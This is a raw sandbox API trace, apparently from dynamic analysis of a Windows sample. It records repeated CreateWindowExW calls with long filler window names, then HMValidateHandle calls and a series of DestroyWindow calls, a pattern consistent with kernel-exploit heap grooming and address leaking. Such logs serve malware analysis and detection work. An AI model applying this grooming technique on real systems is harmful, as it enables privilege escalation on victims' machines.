	[0072.691] CreateWindowExW (dwExStyle=0x0, lpClassName="MyExtraWnd", lpWindowName="aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaỹ矈", dwStyle=0x0, X=0, Y=0, nWidth=0, nHeight=0, hWndParent=0x0, hMenu=0x0, hInstance=0x400000, lpParam=0x0) returned 0x10390
	[0072.692] CreateWindowExW (dwExStyle=0x0, lpClassName="MyExtraWnd", lpWindowName="aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaỹ矈", dwStyle=0x0, X=0, Y=0, nWidth=0, nHeight=0, hWndParent=0x0, hMenu=0x0, hInstance=0x400000, lpParam=0x0) returned 0x10392
	[0072.694] CreateWindowExW (dwExStyle=0x0, lpClassName="MyExtraWnd", lpWindowName="aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaỹ矈", dwStyle=0x0, X=0, Y=0, nWidth=0, nHeight=0, hWndParent=0x0, hMenu=0x0, hInstance=0x400000, lpParam=0x0) returned 0x10394
	[0072.695] CreateWindowExW (dwExStyle=0x0, lpClassName="MyExtraWnd", lpWindowName="aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaỹ矈", dwStyle=0x0, X=0, Y=0, nWidth=0, nHeight=0, hWndParent=0x0, hMenu=0x0, hInstance=0x400000, lpParam=0x0) returned 0x10396
	[0072.696] CreateWindowExW (dwExStyle=0x0, lpClassName="MyExtraWnd", lpWindowName="aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaỹ矈", dwStyle=0x0, X=0, Y=0, nWidth=0, nHeight=0, hWndParent=0x0, hMenu=0x0, hInstance=0x400000, lpParam=0x0) returned 0x10398
	[0072.697] CreateWindowExW (dwExStyle=0x0, lpClassName="MyExtraWnd", lpWindowName="aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaỹ矈", dwStyle=0x0, X=0, Y=0, nWidth=0, nHeight=0, hWndParent=0x0, hMenu=0x0, hInstance=0x400000, lpParam=0x0) returned 0x1039a
	[0072.698] CreateWindowExW (dwExStyle=0x0, lpClassName="MyExtraWnd", lpWindowName="aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaỹ矈", dwStyle=0x0, X=0, Y=0, nWidth=0, nHeight=0, hWndParent=0x0, hMenu=0x0, hInstance=0x400000, lpParam=0x0) returned 0x1039c
	[0072.699] CreateWindowExW (dwExStyle=0x0, lpClassName="MyExtraWnd", lpWindowName="aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaỹ矈", dwStyle=0x0, X=0, Y=0, nWidth=0, nHeight=0, hWndParent=0x0, hMenu=0x0, hInstance=0x400000, lpParam=0x0) returned 0x1039e
	[0072.701] CreateWindowExW (dwExStyle=0x0, lpClassName="MyExtraWnd", lpWindowName="aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaỹ矈", dwStyle=0x0, X=0, Y=0, nWidth=0, nHeight=0, hWndParent=0x0, hMenu=0x0, hInstance=0x400000, lpParam=0x0) returned 0x103a0
	[0072.702] CreateWindowExW (dwExStyle=0x0, lpClassName="MyExtraWnd", lpWindowName="aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaỹ矈", dwStyle=0x0, X=0, Y=0, nWidth=0, nHeight=0, hWndParent=0x0, hMenu=0x0, hInstance=0x400000, lpParam=0x0) returned 0x103a2
	[0072.703] CreateWindowExW (dwExStyle=0x0, lpClassName="MyExtraWnd", lpWindowName="aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaỹ矈", dwStyle=0x0, X=0, Y=0, nWidth=0, nHeight=0, hWndParent=0x0, hMenu=0x0, hInstance=0x400000, lpParam=0x0) returned 0x103a4
	[0072.705] CreateWindowExW (dwExStyle=0x0, lpClassName="MyExtraWnd", lpWindowName="aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaỹ矈", dwStyle=0x0, X=0, Y=0, nWidth=0, nHeight=0, hWndParent=0x0, hMenu=0x0, hInstance=0x400000, lpParam=0x0) returned 0x103a6
	[0072.706] CreateWindowExW (dwExStyle=0x0, lpClassName="MyExtraWnd", lpWindowName="aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaỹ矈", dwStyle=0x0, X=0, Y=0, nWidth=0, nHeight=0, hWndParent=0x0, hMenu=0x0, hInstance=0x400000, lpParam=0x0) returned 0x103a8
	[0072.707] CreateWindowExW (dwExStyle=0x0, lpClassName="MyExtraWnd", lpWindowName="aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaỹ矈", dwStyle=0x0, X=0, Y=0, nWidth=0, nHeight=0, hWndParent=0x0, hMenu=0x0, hInstance=0x400000, lpParam=0x0) returned 0x103aa
	[0072.708] CreateWindowExW (dwExStyle=0x0, lpClassName="MyExtraWnd", lpWindowName="aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaỹ矈", dwStyle=0x0, X=0, Y=0, nWidth=0, nHeight=0, hWndParent=0x0, hMenu=0x0, hInstance=0x400000, lpParam=0x0) returned 0x103ac
	[0072.710] CreateWindowExW (dwExStyle=0x0, lpClassName="MyExtraWnd", lpWindowName="aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaỹ矈", dwStyle=0x0, X=0, Y=0, nWidth=0, nHeight=0, hWndParent=0x0, hMenu=0x0, hInstance=0x400000, lpParam=0x0) returned 0x103ae
	[0072.711] CreateWindowExW (dwExStyle=0x0, lpClassName="MyExtraWnd", lpWindowName="aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaỹ矈", dwStyle=0x0, X=0, Y=0, nWidth=0, nHeight=0, hWndParent=0x0, hMenu=0x0, hInstance=0x400000, lpParam=0x0) returned 0x103b0
	[0072.712] CreateWindowExW (dwExStyle=0x0, lpClassName="MyExtraWnd", lpWindowName="aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaỹ矈", dwStyle=0x0, X=0, Y=0, nWidth=0, nHeight=0, hWndParent=0x0, hMenu=0x0, hInstance=0x400000, lpParam=0x0) returned 0x103b2
	[0072.714] CreateWindowExW (dwExStyle=0x0, lpClassName="MyExtraWnd", lpWindowName="aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaỹ矈", dwStyle=0x0, X=0, Y=0, nWidth=0, nHeight=0, hWndParent=0x0, hMenu=0x0, hInstance=0x400000, lpParam=0x0) returned 0x103b4
	[0072.715] CreateWindowExW (dwExStyle=0x0, lpClassName="MyExtraWnd", lpWindowName="aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaỹ矈", dwStyle=0x0, X=0, Y=0, nWidth=0, nHeight=0, hWndParent=0x0, hMenu=0x0, hInstance=0x400000, lpParam=0x0) returned 0x103b6
	[0072.716] CreateWindowExW (dwExStyle=0x0, lpClassName="MyExtraWnd", lpWindowName="aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaỹ矈", dwStyle=0x0, X=0, Y=0, nWidth=0, nHeight=0, hWndParent=0x0, hMenu=0x0, hInstance=0x400000, lpParam=0x0) returned 0x103b8
	[0072.717] CreateWindowExW (dwExStyle=0x0, lpClassName="MyExtraWnd", lpWindowName="aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaỹ矈", dwStyle=0x0, X=0, Y=0, nWidth=0, nHeight=0, hWndParent=0x0, hMenu=0x0, hInstance=0x400000, lpParam=0x0) returned 0x103ba
	[0072.718] CreateWindowExW (dwExStyle=0x0, lpClassName="MyExtraWnd", lpWindowName="aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaỹ矈", dwStyle=0x0, X=0, Y=0, nWidth=0, nHeight=0, hWndParent=0x0, hMenu=0x0, hInstance=0x400000, lpParam=0x0) returned 0x103bc
	[0072.719] CreateWindowExW (dwExStyle=0x0, lpClassName="MyExtraWnd", lpWindowName="aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaỹ矈", dwStyle=0x0, X=0, Y=0, nWidth=0, nHeight=0, hWndParent=0x0, hMenu=0x0, hInstance=0x400000, lpParam=0x0) returned 0x103be
	[0072.720] CreateWindowExW (dwExStyle=0x0, lpClassName="MyExtraWnd", lpWindowName="aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaỹ矈", dwStyle=0x0, X=0, Y=0, nWidth=0, nHeight=0, hWndParent=0x0, hMenu=0x0, hInstance=0x400000, lpParam=0x0) returned 0x103c0
	[0072.721] CreateWindowExW (dwExStyle=0x0, lpClassName="MyExtraWnd", lpWindowName="aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaỹ矈", dwStyle=0x0, X=0, Y=0, nWidth=0, nHeight=0, hWndParent=0x0, hMenu=0x0, hInstance=0x400000, lpParam=0x0) returned 0x103c2
	[0072.722] CreateWindowExW (dwExStyle=0x0, lpClassName="MyExtraWnd", lpWindowName="aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaỹ矈", dwStyle=0x0, X=0, Y=0, nWidth=0, nHeight=0, hWndParent=0x0, hMenu=0x0, hInstance=0x400000, lpParam=0x0) returned 0x103c4
	[0072.724] CreateWindowExW (dwExStyle=0x0, lpClassName="MyExtraWnd", lpWindowName="aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaỹ矈", dwStyle=0x0, X=0, Y=0, nWidth=0, nHeight=0, hWndParent=0x0, hMenu=0x0, hInstance=0x400000, lpParam=0x0) returned 0x103c6
	[0072.725] CreateWindowExW (dwExStyle=0x0, lpClassName="MyExtraWnd", lpWindowName="aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaỹ矈", dwStyle=0x0, X=0, Y=0, nWidth=0, nHeight=0, hWndParent=0x0, hMenu=0x0, hInstance=0x400000, lpParam=0x0) returned 0x103c8
	[0072.726] CreateWindowExW (dwExStyle=0x0, lpClassName="MyExtraWnd", lpWindowName="aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaỹ矈", dwStyle=0x0, X=0, Y=0, nWidth=0, nHeight=0, hWndParent=0x0, hMenu=0x0, hInstance=0x400000, lpParam=0x0) returned 0x103ca
	[0072.727] CreateWindowExW (dwExStyle=0x0, lpClassName="MyExtraWnd", lpWindowName="aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaỹ矈", dwStyle=0x0, X=0, Y=0, nWidth=0, nHeight=0, hWndParent=0x0, hMenu=0x0, hInstance=0x400000, lpParam=0x0) returned 0x103cc
	[0072.728] CreateWindowExW (dwExStyle=0x0, lpClassName="MyExtraWnd", lpWindowName="aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaỹ矈", dwStyle=0x0, X=0, Y=0, nWidth=0, nHeight=0, hWndParent=0x0, hMenu=0x0, hInstance=0x400000, lpParam=0x0) returned 0x103ce
	[0072.729] CreateWindowExW (dwExStyle=0x0, lpClassName="MyExtraWnd", lpWindowName="aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaỹ矈", dwStyle=0x0, X=0, Y=0, nWidth=0, nHeight=0, hWndParent=0x0, hMenu=0x0, hInstance=0x400000, lpParam=0x0) returned 0x103d0
	[0072.731] CreateWindowExW (dwExStyle=0x0, lpClassName="MyExtraWnd", lpWindowName="aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaỹ矈", dwStyle=0x0, X=0, Y=0, nWidth=0, nHeight=0, hWndParent=0x0, hMenu=0x0, hInstance=0x400000, lpParam=0x0) returned 0x103d2
	[0072.732] CreateWindowExW (dwExStyle=0x0, lpClassName="MyExtraWnd", lpWindowName="aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaỹ矈", dwStyle=0x0, X=0, Y=0, nWidth=0, nHeight=0, hWndParent=0x0, hMenu=0x0, hInstance=0x400000, lpParam=0x0) returned 0x103d4
	[0072.733] CreateWindowExW (dwExStyle=0x0, lpClassName="MyExtraWnd", lpWindowName="aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaỹ矈", dwStyle=0x0, X=0, Y=0, nWidth=0, nHeight=0, hWndParent=0x0, hMenu=0x0, hInstance=0x400000, lpParam=0x0) returned 0x103d6
	[0072.734] CreateWindowExW (dwExStyle=0x0, lpClassName="MyExtraWnd", lpWindowName="aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaỹ矈", dwStyle=0x0, X=0, Y=0, nWidth=0, nHeight=0, hWndParent=0x0, hMenu=0x0, hInstance=0x400000, lpParam=0x0) returned 0x103d8
	[0072.735] CreateWindowExW (dwExStyle=0x0, lpClassName="MyExtraWnd", lpWindowName="aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaỹ矈", dwStyle=0x0, X=0, Y=0, nWidth=0, nHeight=0, hWndParent=0x0, hMenu=0x0, hInstance=0x400000, lpParam=0x0) returned 0x103da
	[0072.736] CreateWindowExW (dwExStyle=0x0, lpClassName="MyExtraWnd", lpWindowName="aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaỹ矈", dwStyle=0x0, X=0, Y=0, nWidth=0, nHeight=0, hWndParent=0x0, hMenu=0x0, hInstance=0x400000, lpParam=0x0) returned 0x103dc
	[0072.738] CreateWindowExW (dwExStyle=0x0, lpClassName="MyExtraWnd", lpWindowName="aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaỹ矈", dwStyle=0x0, X=0, Y=0, nWidth=0, nHeight=0, hWndParent=0x0, hMenu=0x0, hInstance=0x400000, lpParam=0x0) returned 0x103de
	[0072.739] CreateWindowExW (dwExStyle=0x0, lpClassName="MyExtraWnd", lpWindowName="aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaỹ矈", dwStyle=0x0, X=0, Y=0, nWidth=0, nHeight=0, hWndParent=0x0, hMenu=0x0, hInstance=0x400000, lpParam=0x0) returned 0x103e0
	[0072.740] CreateWindowExW (dwExStyle=0x0, lpClassName="MyExtraWnd", lpWindowName="aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaỹ矈", dwStyle=0x0, X=0, Y=0, nWidth=0, nHeight=0, hWndParent=0x0, hMenu=0x0, hInstance=0x400000, lpParam=0x0) returned 0x103e2
	[0072.741] CreateWindowExW (dwExStyle=0x0, lpClassName="MyExtraWnd", lpWindowName="aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaỹ矈", dwStyle=0x0, X=0, Y=0, nWidth=0, nHeight=0, hWndParent=0x0, hMenu=0x0, hInstance=0x400000, lpParam=0x0) returned 0x103e4
	[0072.752] @HMValidateHandle@8 () returned 0x1051370
	[0072.752] @HMValidateHandle@8 () returned 0x1051370
	[0072.752] @HMValidateHandle@8 () returned 0x1051370
	[0072.752] @HMValidateHandle@8 () returned 0x10564a0
	[0072.752] @HMValidateHandle@8 () returned 0x1051370
	[0072.752] @HMValidateHandle@8 () returned 0x10564a0
	[0072.752] DestroyWindow (hWnd=0x60164) returned 1
	[0072.753] DestroyWindow (hWnd=0x40234) returned 1
	[0072.754] DestroyWindow (hWnd=0x60168) returned 1
	[0072.755] DestroyWindow (hWnd=0x800ec) returned 1
	[0072.757] DestroyWindow (hWnd=0x40202) returned 1
	[0072.758] DestroyWindow (hWnd=0x40204) returned 1
	[0072.759] DestroyWindow (hWnd=0x60162) returned 1
	[0072.760] DestroyWindow (hWnd=0x701fc) returned 1
	[0072.761] DestroyWindow (hWnd=0x2020a) returned 1
	[0072.762] DestroyWindow (hWnd=0x20230) returned 1
	[0072.763] DestroyWindow (hWnd=0x20232) returned 1
	[0072.764] DestroyWindow (hWnd=0x20224) returned 1
	[0072.765] DestroyWindow (hWnd=0x20226) returned 1
	[0072.766] DestroyWindow (hWnd=0x20220) returned 1
